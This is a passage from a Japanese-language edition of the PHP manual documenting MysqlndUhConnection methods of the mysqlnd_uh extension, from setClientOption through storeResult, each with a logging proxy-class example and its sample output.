proxy::setCharset(array (
  0 => NULL,
  1 => 'latin1',
))
proxy::setCharset returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_set_charset() - クライアントのデフォルト文字セットを設定する

User Contributed Notes

There are no user contributed notes for this page.


Sets a client option

  • ≪ MysqlndUhConnection::setCharset
  • MysqlndUhConnection::setServerOption ≫
  • PHP Manual
  • MysqlndUhConnection
  • Sets a client option

MysqlndUhConnection::setClientOption

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::setClientOption — Sets a client option

説明

public MysqlndUhConnection::setClientOption ( mysqlnd_connection $connection , int $option , int $value ) : bool

Sets a client option.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

option

The option to be set.

value

Optional option value, if required.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::setClientOption() example

<?php
function client_option_to_string($option) {
 static $mapping = array(
  MYSQLND_UH_MYSQLND_OPTION_OPT_CONNECT_TIMEOUT => "MYSQLND_UH_MYSQLND_OPTION_OPT_CONNECT_TIMEOUT",
  MYSQLND_UH_MYSQLND_OPTION_OPT_COMPRESS => "MYSQLND_UH_MYSQLND_OPTION_OPT_COMPRESS",
  MYSQLND_UH_MYSQLND_OPTION_OPT_NAMED_PIPE => "MYSQLND_UH_MYSQLND_OPTION_OPT_NAMED_PIPE",
  MYSQLND_UH_MYSQLND_OPTION_INIT_COMMAND => "MYSQLND_UH_MYSQLND_OPTION_INIT_COMMAND",
  MYSQLND_UH_MYSQLND_READ_DEFAULT_FILE => "MYSQLND_UH_MYSQLND_READ_DEFAULT_FILE",
  MYSQLND_UH_MYSQLND_READ_DEFAULT_GROUP => "MYSQLND_UH_MYSQLND_READ_DEFAULT_GROUP",
  MYSQLND_UH_MYSQLND_SET_CHARSET_DIR => "MYSQLND_UH_MYSQLND_SET_CHARSET_DIR",
  MYSQLND_UH_MYSQLND_SET_CHARSET_NAME => "MYSQLND_UH_MYSQLND_SET_CHARSET_NAME",
  MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE => "MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE",
  MYSQLND_UH_MYSQLND_OPT_PROTOCOL => "MYSQLND_UH_MYSQLND_OPT_PROTOCOL",
  MYSQLND_UH_MYSQLND_SHARED_MEMORY_BASE_NAME => "MYSQLND_UH_MYSQLND_SHARED_MEMORY_BASE_NAME",
  MYSQLND_UH_MYSQLND_OPT_READ_TIMEOUT => "MYSQLND_UH_MYSQLND_OPT_READ_TIMEOUT",
  MYSQLND_UH_MYSQLND_OPT_WRITE_TIMEOUT => "MYSQLND_UH_MYSQLND_OPT_WRITE_TIMEOUT",
  MYSQLND_UH_MYSQLND_OPT_USE_RESULT => "MYSQLND_UH_MYSQLND_OPT_USE_RESULT",
  MYSQLND_UH_MYSQLND_OPT_USE_REMOTE_CONNECTION => "MYSQLND_UH_MYSQLND_OPT_USE_REMOTE_CONNECTION",
  MYSQLND_UH_MYSQLND_OPT_USE_EMBEDDED_CONNECTION => "MYSQLND_UH_MYSQLND_OPT_USE_EMBEDDED_CONNECTION",
  MYSQLND_UH_MYSQLND_OPT_GUESS_CONNECTION => "MYSQLND_UH_MYSQLND_OPT_GUESS_CONNECTION",
  MYSQLND_UH_MYSQLND_SET_CLIENT_IP => "MYSQLND_UH_MYSQLND_SET_CLIENT_IP",
  MYSQLND_UH_MYSQLND_SECURE_AUTH => "MYSQLND_UH_MYSQLND_SECURE_AUTH",
  MYSQLND_UH_MYSQLND_REPORT_DATA_TRUNCATION => "MYSQLND_UH_MYSQLND_REPORT_DATA_TRUNCATION",
  MYSQLND_UH_MYSQLND_OPT_RECONNECT => "MYSQLND_UH_MYSQLND_OPT_RECONNECT",
  MYSQLND_UH_MYSQLND_OPT_SSL_VERIFY_SERVER_CERT => "MYSQLND_UH_MYSQLND_OPT_SSL_VERIFY_SERVER_CERT",
  MYSQLND_UH_MYSQLND_OPT_NET_CMD_BUFFER_SIZE => "MYSQLND_UH_MYSQLND_OPT_NET_CMD_BUFFER_SIZE",
  MYSQLND_UH_MYSQLND_OPT_NET_READ_BUFFER_SIZE => "MYSQLND_UH_MYSQLND_OPT_NET_READ_BUFFER_SIZE",
  MYSQLND_UH_MYSQLND_OPT_SSL_KEY => "MYSQLND_UH_MYSQLND_OPT_SSL_KEY",
  MYSQLND_UH_MYSQLND_OPT_SSL_CERT => "MYSQLND_UH_MYSQLND_OPT_SSL_CERT",
  MYSQLND_UH_MYSQLND_OPT_SSL_CA => "MYSQLND_UH_MYSQLND_OPT_SSL_CA",
  MYSQLND_UH_MYSQLND_OPT_SSL_CAPATH => "MYSQLND_UH_MYSQLND_OPT_SSL_CAPATH",
  MYSQLND_UH_MYSQLND_OPT_SSL_CIPHER => "MYSQLND_UH_MYSQLND_OPT_SSL_CIPHER",
  MYSQLND_UH_MYSQLND_OPT_SSL_PASSPHRASE => "MYSQLND_UH_MYSQLND_OPT_SSL_PASSPHRASE",
  MYSQLND_UH_SERVER_OPTION_PLUGIN_DIR => "MYSQLND_UH_SERVER_OPTION_PLUGIN_DIR",
  MYSQLND_UH_SERVER_OPTION_DEFAULT_AUTH => "MYSQLND_UH_SERVER_OPTION_DEFAULT_AUTH",
  MYSQLND_UH_SERVER_OPTION_SET_CLIENT_IP => "MYSQLND_UH_SERVER_OPTION_SET_CLIENT_IP"
 );
 if (version_compare(PHP_VERSION, '5.3.99-dev', '>')) {
  $mapping[MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET] = "MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET";
  $mapping[MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL] = "MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL";
 }
 if (defined("MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE")) {
  /* special mysqlnd build */
  $mapping["MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE"] = "MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE";
 }
 return (isset($mapping[$option])) ? $mapping[$option] : 'unknown';
}

class proxy extends MysqlndUhConnection {
 public function setClientOption($res, $option, $value) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Option '%s' set to %s\n", client_option_to_string($option), var_export($value, true));
  $ret = parent::setClientOption($res, $option, $value);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
?>

上の例の出力は以下となります。

proxy::setClientOption(array (
  0 => NULL,
  1 => 210,
  2 => 3221225472,
))
Option 'MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET' set to 3221225472
proxy::setClientOption returns true
proxy::setClientOption(array (
  0 => NULL,
  1 => 211,
  2 => 'mysql_native_password',
))
Option 'MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL' set to 'mysql_native_password'
proxy::setClientOption returns true
proxy::setClientOption(array (
  0 => NULL,
  1 => 8,
  2 => 1,
))
Option 'MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE' set to 1
proxy::setClientOption returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_connect() - mysql サーバーとの接続をオープンする
  • mysqli_options() - オプションを設定する

User Contributed Notes

There are no user contributed notes for this page.


Sets a server option

  • ≪ MysqlndUhConnection::setClientOption
  • MysqlndUhConnection::shutdownServer ≫
  • PHP Manual
  • MysqlndUhConnection
  • Sets a server option

MysqlndUhConnection::setServerOption

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::setServerOption — Sets a server option

説明

public MysqlndUhConnection::setServerOption ( mysqlnd_connection $connection , int $option ) : void

Sets a server option.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

option

The option to be set.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::setServerOption() example

<?php
function server_option_to_string($option) {
 $ret = 'unknown';
 switch ($option) {
  case MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON:
   $ret = 'MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON';
   break;
  case MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_OFF:
   $ret = 'MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON';
   break;
 }
 return $ret;
}

class proxy extends MysqlndUhConnection {
 public function setServerOption($res, $option) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Option '%s' set\n", server_option_to_string($option));
  $ret = parent::setServerOption($res, $option);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->multi_query("SELECT 1; SELECT 2");
?>

上の例の出力は以下となります。

proxy::setServerOption(array (
  0 => NULL,
  1 => 0,
))
Option 'MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON' set
proxy::setServerOption returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_connect() - mysql サーバーとの接続をオープンする
  • mysqli_options() - オプションを設定する
  • mysqli_multi_query() - データベース上でクエリを実行する

User Contributed Notes

There are no user contributed notes for this page.


The shutdownServer purpose

  • ≪ MysqlndUhConnection::setServerOption
  • MysqlndUhConnection::simpleCommand ≫
  • PHP Manual
  • MysqlndUhConnection
  • The shutdownServer purpose

MysqlndUhConnection::shutdownServer

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::shutdownServer — The shutdownServer purpose

説明

public MysqlndUhConnection::shutdownServer ( string $MYSQLND_UH_RES_MYSQLND_NAME , string $level ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

MYSQLND_UH_RES_MYSQLND_NAME

level

返り値

User Contributed Notes

There are no user contributed notes for this page.


Sends a basic COM_* command

  • ≪ MysqlndUhConnection::shutdownServer
  • MysqlndUhConnection::simpleCommandHandleResponse ≫
  • PHP Manual
  • MysqlndUhConnection
  • Sends a basic COM_* command

MysqlndUhConnection::simpleCommand

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::simpleCommand — Sends a basic COM_* command

説明

public MysqlndUhConnection::simpleCommand ( mysqlnd_connection $connection , int $command , string $arg , int $ok_packet , bool $silent , bool $ignore_upsert_status ) : bool

Sends a basic COM_* command to MySQL.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

command

The COM command to be send.

arg

Optional COM command arguments.

ok_packet

The OK packet type.

silent

Whether mysqlnd may emit errors.

ignore_upsert_status

Whether to ignore UPDATE/INSERT status.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::simpleCommand() example

<?php
function server_cmd_2_string($command) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_COM_SLEEP => "MYSQLND_UH_MYSQLND_COM_SLEEP",
  MYSQLND_UH_MYSQLND_COM_QUIT => "MYSQLND_UH_MYSQLND_COM_QUIT",
  MYSQLND_UH_MYSQLND_COM_INIT_DB => "MYSQLND_UH_MYSQLND_COM_INIT_DB",
  MYSQLND_UH_MYSQLND_COM_QUERY => "MYSQLND_UH_MYSQLND_COM_QUERY",
  MYSQLND_UH_MYSQLND_COM_FIELD_LIST => "MYSQLND_UH_MYSQLND_COM_FIELD_LIST",
  MYSQLND_UH_MYSQLND_COM_CREATE_DB => "MYSQLND_UH_MYSQLND_COM_CREATE_DB",
  MYSQLND_UH_MYSQLND_COM_DROP_DB => "MYSQLND_UH_MYSQLND_COM_DROP_DB",
  MYSQLND_UH_MYSQLND_COM_REFRESH => "MYSQLND_UH_MYSQLND_COM_REFRESH",
  MYSQLND_UH_MYSQLND_COM_SHUTDOWN => "MYSQLND_UH_MYSQLND_COM_SHUTDOWN",
  MYSQLND_UH_MYSQLND_COM_STATISTICS => "MYSQLND_UH_MYSQLND_COM_STATISTICS",
  MYSQLND_UH_MYSQLND_COM_PROCESS_INFO => "MYSQLND_UH_MYSQLND_COM_PROCESS_INFO",
  MYSQLND_UH_MYSQLND_COM_CONNECT => "MYSQLND_UH_MYSQLND_COM_CONNECT",
  MYSQLND_UH_MYSQLND_COM_PROCESS_KILL => "MYSQLND_UH_MYSQLND_COM_PROCESS_KILL",
  MYSQLND_UH_MYSQLND_COM_DEBUG => "MYSQLND_UH_MYSQLND_COM_DEBUG",
  MYSQLND_UH_MYSQLND_COM_PING => "MYSQLND_UH_MYSQLND_COM_PING",
  MYSQLND_UH_MYSQLND_COM_TIME => "MYSQLND_UH_MYSQLND_COM_TIME",
  MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT => "MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT",
  MYSQLND_UH_MYSQLND_COM_CHANGE_USER => "MYSQLND_UH_MYSQLND_COM_CHANGE_USER",
  MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP => "MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP",
  MYSQLND_UH_MYSQLND_COM_TABLE_DUMP => "MYSQLND_UH_MYSQLND_COM_TABLE_DUMP",
  MYSQLND_UH_MYSQLND_COM_CONNECT_OUT => "MYSQLND_UH_MYSQLND_COM_CONNECT_OUT",
  MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED => "MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED",
  MYSQLND_UH_MYSQLND_COM_STMT_PREPARE => "MYSQLND_UH_MYSQLND_COM_STMT_PREPARE",
  MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE => "MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE",
  MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA => "MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA",
  MYSQLND_UH_MYSQLND_COM_STMT_CLOSE => "MYSQLND_UH_MYSQLND_COM_STMT_CLOSE",
  MYSQLND_UH_MYSQLND_COM_STMT_RESET => "MYSQLND_UH_MYSQLND_COM_STMT_RESET",
  MYSQLND_UH_MYSQLND_COM_SET_OPTION => "MYSQLND_UH_MYSQLND_COM_SET_OPTION",
  MYSQLND_UH_MYSQLND_COM_STMT_FETCH => "MYSQLND_UH_MYSQLND_COM_STMT_FETCH",
  MYSQLND_UH_MYSQLND_COM_DAEMON => "MYSQLND_UH_MYSQLND_COM_DAEMON",
  MYSQLND_UH_MYSQLND_COM_END => "MYSQLND_UH_MYSQLND_COM_END",
 );
 return (isset($mapping[$command])) ? $mapping[$command] : 'unknown';
}

function ok_packet_2_string($ok_packet) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_PROT_GREET_PACKET => "MYSQLND_UH_MYSQLND_PROT_GREET_PACKET",
  MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET => "MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET",
  MYSQLND_UH_MYSQLND_PROT_OK_PACKET => "MYSQLND_UH_MYSQLND_PROT_OK_PACKET",
  MYSQLND_UH_MYSQLND_PROT_EOF_PACKET => "MYSQLND_UH_MYSQLND_PROT_EOF_PACKET",
  MYSQLND_UH_MYSQLND_PROT_CMD_PACKET => "MYSQLND_UH_MYSQLND_PROT_CMD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_ROW_PACKET => "MYSQLND_UH_MYSQLND_PROT_ROW_PACKET",
  MYSQLND_UH_MYSQLND_PROT_STATS_PACKET => "MYSQLND_UH_MYSQLND_PROT_STATS_PACKET",
  MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET => "MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET",
  MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET => "MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET",
  MYSQLND_UH_MYSQLND_PROT_LAST => "MYSQLND_UH_MYSQLND_PROT_LAST",
 );
 return (isset($mapping[$ok_packet])) ? $mapping[$ok_packet] : 'unknown';
}

class proxy extends MysqlndUhConnection {
 public function simpleCommand($conn, $command, $arg, $ok_packet, $silent, $ignore_upsert_status) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Command '%s'\n", server_cmd_2_string($command));
  printf("OK packet '%s'\n",  ok_packet_2_string($ok_packet));
  $ret = parent::simpleCommand($conn, $command, $arg, $ok_packet, $silent, $ignore_upsert_status);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("SELECT 1");
?>

上の例の出力は以下となります。

proxy::simpleCommand(array (
  0 => NULL,
  1 => 3,
  2 => 'SELECT 1',
  3 => 13,
  4 => false,
  5 => false,
))
Command 'MYSQLND_UH_MYSQLND_COM_QUERY'
OK packet 'MYSQLND_UH_MYSQLND_PROT_LAST'
proxy::simpleCommand returns true
:)proxy::simpleCommand(array (
  0 => NULL,
  1 => 1,
  2 => '',
  3 => 13,
  4 => true,
  5 => true,
))
Command 'MYSQLND_UH_MYSQLND_COM_QUIT'
OK packet 'MYSQLND_UH_MYSQLND_PROT_LAST'
proxy::simpleCommand returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Process a response for a basic COM_* command send to the client

  • ≪ MysqlndUhConnection::simpleCommand
  • MysqlndUhConnection::sslSet ≫
  • PHP Manual
  • MysqlndUhConnection
  • Process a response for a basic COM_* command send to the client

MysqlndUhConnection::simpleCommandHandleResponse

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::simpleCommandHandleResponse — Process a response for a basic COM_* command send to the client

説明

public MysqlndUhConnection::simpleCommandHandleResponse ( mysqlnd_connection $connection , int $ok_packet , bool $silent , int $command , bool $ignore_upsert_status ) : bool

Process a response for a basic COM_* command send to the client.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

ok_packet

The OK packet type.

silent

Whether mysqlnd may emit errors.

command

The COM command to process results from.

ignore_upsert_status

Whether to ignore UPDATE/INSERT status.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::simpleCommandHandleResponse() example

<?php
function server_cmd_2_string($command) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_COM_SLEEP => "MYSQLND_UH_MYSQLND_COM_SLEEP",
  MYSQLND_UH_MYSQLND_COM_QUIT => "MYSQLND_UH_MYSQLND_COM_QUIT",
  MYSQLND_UH_MYSQLND_COM_INIT_DB => "MYSQLND_UH_MYSQLND_COM_INIT_DB",
  MYSQLND_UH_MYSQLND_COM_QUERY => "MYSQLND_UH_MYSQLND_COM_QUERY",
  MYSQLND_UH_MYSQLND_COM_FIELD_LIST => "MYSQLND_UH_MYSQLND_COM_FIELD_LIST",
  MYSQLND_UH_MYSQLND_COM_CREATE_DB => "MYSQLND_UH_MYSQLND_COM_CREATE_DB",
  MYSQLND_UH_MYSQLND_COM_DROP_DB => "MYSQLND_UH_MYSQLND_COM_DROP_DB",
  MYSQLND_UH_MYSQLND_COM_REFRESH => "MYSQLND_UH_MYSQLND_COM_REFRESH",
  MYSQLND_UH_MYSQLND_COM_SHUTDOWN => "MYSQLND_UH_MYSQLND_COM_SHUTDOWN",
  MYSQLND_UH_MYSQLND_COM_STATISTICS => "MYSQLND_UH_MYSQLND_COM_STATISTICS",
  MYSQLND_UH_MYSQLND_COM_PROCESS_INFO => "MYSQLND_UH_MYSQLND_COM_PROCESS_INFO",
  MYSQLND_UH_MYSQLND_COM_CONNECT => "MYSQLND_UH_MYSQLND_COM_CONNECT",
  MYSQLND_UH_MYSQLND_COM_PROCESS_KILL => "MYSQLND_UH_MYSQLND_COM_PROCESS_KILL",
  MYSQLND_UH_MYSQLND_COM_DEBUG => "MYSQLND_UH_MYSQLND_COM_DEBUG",
  MYSQLND_UH_MYSQLND_COM_PING => "MYSQLND_UH_MYSQLND_COM_PING",
  MYSQLND_UH_MYSQLND_COM_TIME => "MYSQLND_UH_MYSQLND_COM_TIME",
  MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT => "MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT",
  MYSQLND_UH_MYSQLND_COM_CHANGE_USER => "MYSQLND_UH_MYSQLND_COM_CHANGE_USER",
  MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP => "MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP",
  MYSQLND_UH_MYSQLND_COM_TABLE_DUMP => "MYSQLND_UH_MYSQLND_COM_TABLE_DUMP",
  MYSQLND_UH_MYSQLND_COM_CONNECT_OUT => "MYSQLND_UH_MYSQLND_COM_CONNECT_OUT",
  MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED => "MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED",
  MYSQLND_UH_MYSQLND_COM_STMT_PREPARE => "MYSQLND_UH_MYSQLND_COM_STMT_PREPARE",
  MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE => "MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE",
  MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA => "MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA",
  MYSQLND_UH_MYSQLND_COM_STMT_CLOSE => "MYSQLND_UH_MYSQLND_COM_STMT_CLOSE",
  MYSQLND_UH_MYSQLND_COM_STMT_RESET => "MYSQLND_UH_MYSQLND_COM_STMT_RESET",
  MYSQLND_UH_MYSQLND_COM_SET_OPTION => "MYSQLND_UH_MYSQLND_COM_SET_OPTION",
  MYSQLND_UH_MYSQLND_COM_STMT_FETCH => "MYSQLND_UH_MYSQLND_COM_STMT_FETCH",
  MYSQLND_UH_MYSQLND_COM_DAEMON => "MYSQLND_UH_MYSQLND_COM_DAEMON",
  MYSQLND_UH_MYSQLND_COM_END => "MYSQLND_UH_MYSQLND_COM_END",
 );
 return (isset($mapping[$command])) ? $mapping[$command] : 'unknown';
}

function ok_packet_2_string($ok_packet) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_PROT_GREET_PACKET => "MYSQLND_UH_MYSQLND_PROT_GREET_PACKET",
  MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET => "MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET",
  MYSQLND_UH_MYSQLND_PROT_OK_PACKET => "MYSQLND_UH_MYSQLND_PROT_OK_PACKET",
  MYSQLND_UH_MYSQLND_PROT_EOF_PACKET => "MYSQLND_UH_MYSQLND_PROT_EOF_PACKET",
  MYSQLND_UH_MYSQLND_PROT_CMD_PACKET => "MYSQLND_UH_MYSQLND_PROT_CMD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_ROW_PACKET => "MYSQLND_UH_MYSQLND_PROT_ROW_PACKET",
  MYSQLND_UH_MYSQLND_PROT_STATS_PACKET => "MYSQLND_UH_MYSQLND_PROT_STATS_PACKET",
  MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET => "MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET",
  MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET => "MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET",
  MYSQLND_UH_MYSQLND_PROT_LAST => "MYSQLND_UH_MYSQLND_PROT_LAST",
 );
 return (isset($mapping[$ok_packet])) ? $mapping[$ok_packet] : 'unknown';
}

class proxy extends MysqlndUhConnection {
 public function simpleCommandHandleResponse($conn, $ok_packet, $silent, $command, $ignore_upsert_status) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Command '%s'\n", server_cmd_2_string($command));
  printf("OK packet '%s'\n",  ok_packet_2_string($ok_packet));
  $ret = parent::simpleCommandHandleResponse($conn, $ok_packet, $silent, $command, $ignore_upsert_status);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysql = mysql_connect("localhost", "root", "");
mysql_query("SELECT 1 FROM DUAL", $mysql);
?>

上の例の出力は以下となります。

proxy::simpleCommandHandleResponse(array (
  0 => NULL,
  1 => 5,
  2 => false,
  3 => 27,
  4 => true,
))
Command 'MYSQLND_UH_MYSQLND_COM_SET_OPTION'
OK packet 'MYSQLND_UH_MYSQLND_PROT_EOF_PACKET'
proxy::simpleCommandHandleResponse returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Used for establishing secure connections using SSL

  • ≪ MysqlndUhConnection::simpleCommandHandleResponse
  • MysqlndUhConnection::stmtInit ≫
  • PHP Manual
  • MysqlndUhConnection
  • Used for establishing secure connections using SSL

MysqlndUhConnection::sslSet

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::sslSet — Used for establishing secure connections using SSL

説明

public MysqlndUhConnection::sslSet ( mysqlnd_connection $connection , string $key , string $cert , string $ca , string $capath , string $cipher ) : bool

Used for establishing secure connections using SSL.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

key

The path name to the key file.

cert

The path name to the certificate file.

ca

The path name to the certificate authority file.

capath

The pathname to a directory that contains trusted SSL CA certificates in PEM format.

cipher

A list of allowable ciphers to use for SSL encryption.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::sslSet() example

<?php
class proxy extends MysqlndUhConnection {
 public function sslSet($conn, $key, $cert, $ca, $capath, $cipher) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::sslSet($conn, $key, $cert, $ca, $capath, $cipher);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->ssl_set("key", "cert", "ca", "capath", "cipher");
?>

上の例の出力は以下となります。

proxy::sslSet(array (
  0 => NULL,
  1 => 'key',
  2 => 'cert',
  3 => 'ca',
  4 => 'capath',
  5 => 'cipher',
))
proxy::sslSet returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_ssl_set() - SSL を使用したセキュアな接続を確立する

User Contributed Notes

There are no user contributed notes for this page.


Initializes a statement and returns a resource for use with mysqli_statement::prepare

  • ≪ MysqlndUhConnection::sslSet
  • MysqlndUhConnection::storeResult ≫
  • PHP Manual
  • MysqlndUhConnection
  • Initializes a statement and returns a resource for use with mysqli_statement::prepare

MysqlndUhConnection::stmtInit

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::stmtInit — Initializes a statement and returns a resource for use with mysqli_statement::prepare

説明

public MysqlndUhConnection::stmtInit ( mysqlnd_connection $connection ) : resource

Initializes a statement and returns a resource for use with mysqli_statement::prepare.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Resource of type Mysqlnd Prepared Statement (internal only - you must not modify it!). The documentation may also refer to such resources using the alias name mysqlnd_prepared_statement.

例

例1 MysqlndUhConnection::stmtInit() example

<?php
class proxy extends MysqlndUhConnection {
 public function stmtInit($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  var_dump($res);
  $ret = parent::stmtInit($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 1 AS _one FROM DUAL");
$stmt->execute();
$one = NULL;
$stmt->bind_result($one);
$stmt->fetch();
var_dump($one);
?>

上の例の出力は以下となります。

proxy::stmtInit(array (
  0 => NULL,
))
resource(19) of type (Mysqlnd Connection)
proxy::stmtInit returns NULL
resource(246) of type (Mysqlnd Prepared Statement (internal only - you must not modify it!))
int(1)

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_stmt_init() - ステートメントを初期化し、mysqli_stmt_prepare で使用するオブジェクトを返す

User Contributed Notes

There are no user contributed notes for this page.


Transfers a result set from the last query

  • ≪ MysqlndUhConnection::stmtInit
  • MysqlndUhConnection::txCommit ≫
  • PHP Manual
  • MysqlndUhConnection
  • Transfers a result set from the last query

MysqlndUhConnection::storeResult

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::storeResult — Transfers a result set from the last query

説明

public MysqlndUhConnection::storeResult ( mysqlnd_connection $connection ) : resource

Transfers a result set from the last query.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Resource of type Mysqlnd Resultset (internal only - you must not modify it!). The documentation may also refer to such resources using the alias name mysqlnd_resultset.

例

例1 MysqlndUhConnection::storeResult() example

<?php
class proxy extends MysqlndUhConnection {
 public function storeResult($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::storeResult($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
